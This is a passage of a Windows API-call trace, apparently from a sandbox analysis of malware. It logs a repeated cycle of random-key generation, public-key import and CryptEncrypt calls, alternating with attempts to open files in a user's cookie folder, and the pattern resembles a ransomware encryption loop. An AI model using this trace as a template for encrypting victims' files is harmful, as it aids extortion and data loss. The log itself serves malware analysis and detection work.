hKey=0x3609740, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.037] CryptEncrypt (in: hKey=0x3609740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4350000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4350000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.037] GetLastError () returned 0x0 [0175.037] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.037] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5STJ6NZL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5stj6nzl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.037] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.038] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.038] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.038] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.040] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.040] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.040] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.040] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.041] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609780) returned 1 [0175.042] CryptGetKeyParam (in: hKey=0x3609780, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.042] CryptEncrypt (in: hKey=0x3609780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4360000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4360000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.042] GetLastError () returned 0x0 [0175.042] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.042] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.044] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609540) returned 1 [0175.044] CryptGetKeyParam (in: hKey=0x3609540, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.044] CryptEncrypt (in: hKey=0x3609540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4370000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4370000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.044] GetLastError () returned 0x0 [0175.044] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.044] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5TAY54V0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5tay54v0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.050] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.051] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.052] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.052] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.052] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.052] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.053] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.053] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.053] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.053] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.055] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609980) returned 1 [0175.055] CryptGetKeyParam (in: hKey=0x3609980, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.055] CryptEncrypt (in: hKey=0x3609980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4380000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4380000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.055] GetLastError () returned 0x0 [0175.055] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.055] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.057] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36099c0) returned 1 [0175.057] CryptGetKeyParam (in: hKey=0x36099c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.057] CryptEncrypt (in: hKey=0x36099c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4390000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4390000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.057] GetLastError () returned 0x0 [0175.057] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.058] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5WQEGNKI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5wqegnki.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.058] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.059] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.059] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.059] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.060] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.061] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.061] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.061] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.063] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36098c0) returned 1 [0175.063] CryptGetKeyParam (in: hKey=0x36098c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.063] CryptEncrypt (in: hKey=0x36098c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x43a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x43a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.063] GetLastError () returned 0x0 [0175.063] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.063] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.065] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609a80) returned 1 [0175.065] CryptGetKeyParam (in: hKey=0x3609a80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.065] CryptEncrypt (in: hKey=0x3609a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x43b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x43b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.065] GetLastError () returned 0x0 [0175.065] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.065] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\66I0OJL8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\66i0ojl8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.065] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.066] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.067] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.067] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.067] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.067] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.067] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.068] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.068] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.068] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.070] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609cc0) returned 1 [0175.070] CryptGetKeyParam (in: hKey=0x3609cc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.070] CryptEncrypt (in: hKey=0x3609cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x43c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x43c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.071] GetLastError () returned 0x0 [0175.071] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.071] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.072] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609800) returned 1 [0175.072] CryptGetKeyParam (in: hKey=0x3609800, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.072] CryptEncrypt (in: hKey=0x3609800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x43d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x43d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.073] GetLastError () returned 0x0 [0175.073] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.073] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\80J4IH0Y.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\80j4ih0y.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.073] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.074] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.074] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.074] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.074] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.074] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.075] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.075] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.077] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.077] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.077] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.080] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36096c0) returned 1 [0175.080] CryptGetKeyParam (in: hKey=0x36096c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.080] CryptEncrypt (in: hKey=0x36096c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x43e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x43e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.081] GetLastError () returned 0x0 [0175.081] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.081] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.082] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609c00) returned 1 [0175.082] CryptGetKeyParam (in: hKey=0x3609c00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.082] CryptEncrypt (in: hKey=0x3609c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x43f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x43f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.083] GetLastError () returned 0x0 [0175.083] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.083] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\8FFCGS26.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\8ffcgs26.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.083] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.084] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.084] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.084] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.084] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.085] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.086] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.086] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.086] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.086] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.088] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609c80) returned 1 [0175.088] CryptGetKeyParam (in: hKey=0x3609c80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.088] CryptEncrypt (in: hKey=0x3609c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4400000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4400000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.088] GetLastError () returned 0x0 [0175.088] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.088] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.090] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609900) returned 1 [0175.090] CryptGetKeyParam (in: hKey=0x3609900, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.090] CryptEncrypt (in: hKey=0x3609900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4410000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4410000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.090] GetLastError () returned 0x0 [0175.090] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.090] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9ABR37NL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9abr37nl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.091] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.092] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.092] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.092] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.093] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.093] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.093] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.093] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.094] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.095] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609b00) returned 1 [0175.095] CryptGetKeyParam (in: hKey=0x3609b00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.096] CryptEncrypt (in: hKey=0x3609b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4420000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4420000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.096] GetLastError () returned 0x0 [0175.096] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.096] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.098] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609bc0) returned 1 [0175.098] CryptGetKeyParam (in: hKey=0x3609bc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.098] CryptEncrypt (in: hKey=0x3609bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4430000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4430000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.098] GetLastError () returned 0x0 [0175.098] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.098] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9IJPMFHZ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9ijpmfhz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 